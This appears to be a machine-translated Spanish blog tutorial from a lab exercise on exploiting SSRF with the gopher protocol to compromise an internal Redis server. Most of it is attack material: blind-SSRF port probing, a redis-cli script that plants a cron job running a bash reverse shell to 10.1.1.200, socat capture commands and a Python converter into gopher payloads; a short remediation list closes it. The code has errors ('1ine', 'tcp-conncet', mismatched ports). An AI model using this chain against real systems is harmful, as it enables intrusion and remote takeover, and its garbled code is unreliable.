Vulnerabilidad avanzada de SSRF: ataque a Redis de intranet

advertir

No utilice el contenido mencionado en este artículo para violar la ley .
Este artículo no proporciona ninguna garantía.

contenido

advertir

1. Ampliar la superficie de ataque

2. Ambiente experimental

 3. Practica el aprendizaje de escapatorias

(1) El método de implementación del entorno y Blind SSRF es juzgar si el puerto especificado está abierto observando el tiempo de respuesta y el estado de respuesta.

 (2) La máquina CentOS inicia el servicio Redis y la máquina kali escribe tareas programadas en la máquina CentOS.

 (3) Atacar a Redis a través del protocolo gopher

 4. Reparación de vulnerabilidades

advertir


Práctica y análisis de vulnerabilidad de la SSRF_Blog de xiaochuhe. - Blog de CSDN

1. Ampliar la superficie de ataque

        Combinado con el protocolo gopher para atacar FTP de intranet, Telnet, Redis, FastCGI y Memcache, también puede realizar solicitudes de obtención y publicación.


2. Ambiente experimental

  • CentOS: entorno de vulnerabilidad SSRF + servicio Redis de intranet simulado, ip: 10.1.1.100
  • Kali Linux: servicio Redis + exploit; ip: 10.1.1.200

 3. Practica el aprendizaje de escapatorias

(1) El método de implementación del entorno y Blind SSRF
es juzgar si el puerto especificado está abierto observando el tiempo de respuesta y el estado de respuesta.

1. Habilite la captura de paquetes, ingrese http://127.0.0.1:22 en 'SSRF sin eco', haga clic en 'PROBARLO', haga clic con el botón derecho y seleccione Enviar a repetidor para enviar al módulo de reproducción (acceso directo Ctrl+R).

2. Después de hacer clic en 'ir', Response responde rápidamente, lo que indica que el puerto 22 de la máquina CentOS está abierto.

 3. Cambie la IP a 10.1.1.20 y haga clic en 'ir' nuevamente para observar la respuesta de la Respuesta. Se encuentra que la Respuesta ha respondido por un tiempo antes del resultado, lo que indica que la dirección IP de 10.1.1.20 no ha respondido. puerto abierto 22. (El propósito es: detectar los puertos abiertos de otros hosts en la intranet).

 (2) La máquina CentOS inicia el servicio Redis y la máquina kali escribe tareas programadas en la máquina CentOS.

1. Cuando se instala el servicio de Redis, la IP de enlace predeterminada es 127.0.0.1, que no es necesario configurar aquí. Verifique el archivo de configuración de Redis redis.conf: 

find  /  -name  redis.conf
vi  /root/redis-5.0.4/redis.conf

 2. Abra el servicio Redis en la máquina CentOS

cd  /usr/local/bin

./redis-server  /root/redis-5.0.4/redis.conf

 3. Verifique la versión Redis de la máquina kali e inicie el servidor

 4. Abre otra terminal y prueba el inicio

5. Escriba un script bash para el shell de rebote de redis en la máquina kali, agregue una tarea cronometrada llamada raíz con la clave 1 en la base de datos 0 de Redis y una n adicional en el campo de valor al final porque la redirección de eco eventualmente traerá su propia Una nueva línea, la ubicación es /var/spool/cron/ de la máquina CentOS, 10.1.1.200 es la dirección IP local del shell de rebote y 520 es el puerto de escucha del shell de rebote, que se puede configurar a voluntad.

#关于redis的shell
echo -e "\n\n\n*1/ * * * * bash -i >& /dev/tcp/10.1.1.200/520 0>&1\n\n\n\n"|/usr/redis/redis-cli -h $1 -p $2 -x set 1
/usr/redis/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
/usr/redis/redis-cli -h $1 -p $2 config set dbfilename root
/usr/redis/redis-cli -h $1 -p $2 save
/usr/redis/redis-cli -h $1 -p $2 quit

 (3) Atacar a Redis a través del protocolo gopher

1. La máquina Kali abre otro terminal, utiliza socat para realizar el reenvío de puertos, obtiene los paquetes de datos TCP del ataque Redis y reenvía el puerto local 2333 al puerto 6379 del servidor Redis. Acceder al puerto local 2333 es en realidad acceder al puerto 6379 del servidor Redis.

socat -v tcp-listen:1314,fork tcp-conncet:127.0.0.1:6379

2. Ejecute el script: #bash shell.sh 127.0.0.1 1314 y vea los paquetes capturados.

 3. Utilice el script para convertir los datos en una URL adaptada al protocolo gopher y las reglas de conversión:

  • Si el primer carácter es > o <, descartar la cadena de líneas, indicando la hora de solicitud y devolución;
  • Si los tres primeros caracteres son +OK, descarta la cadena de la línea, indicando la cadena devuelta;
  • Reemplace el carácter \r con %0d%0a;
  • Reemplace las líneas en blanco con %0a.

4. Primero guarde los datos obtenidos por socat como el archivo socat.log y luego ejecute el script para convertir los datos:

El guión es el siguiente:

#coding: utf-8import sys
import sys

exp = ''
with open(sys.argv[1]) as f:
	for line in f.readlines():
		if line[0] in'><+' :
			continue
		#判断倒数第2、3字符串是否为\r
		elif line[-3:-1] == r'\r' :
		#如果该行只有\r,将\r替换成%0a%0d%0a
			if len(line) == 3:
				exp = exp + '%0a%0d%0a'
			else :
				line = line.replace(r'\r', '%0d%0a')
				#去掉最后的换行符
				line = line.replace('\n', '')
				exp = exp + 1ine
		#判断是否是空行,空行替换为%0a
		elif line == '\x0a':
			exp = exp + '%0a'
		else:
			line = line.replace('\n', '')
			exp = exp + line
print exp

5. En este punto, nc comienza a escuchar en el puerto 520:

 

6. Ingrese el contenido de la conversión de datos gopher://127.0.0.1:6379/_+ en 'SSRF con eco', haga clic en 'PROBARLO' para ver el resultado del monitoreo

 

 Finalmente, el caparazón de rebote se obtuvo con éxito. ¡También puede ver que la tarea programada se escribió con éxito en 'VER EL RESULTADO' del navegador!


 4. Reparación de vulnerabilidades

1. Restrinja el protocolo a HTTP y HTTPS,

2. Prohíba el salto 30x,

3. Establezca la lista blanca de URL o restrinja la IP de la intranet.


Entorno experimental: Laboratorio Hetian

Referencia: Hetian Cyber ​​Security Lab: una gama cibernética que se especializa en proporcionar servicios experimentales en línea de seguridad cibernética\seguridad de la información

advertir

No utilice el contenido mencionado en este artículo para violar la ley .
¡ Este artículo no proporciona ninguna garantía !

Supongo que te gusta

Origin blog.csdn.net/xiaofengdada/article/details/124418425
Recomendado
Clasificación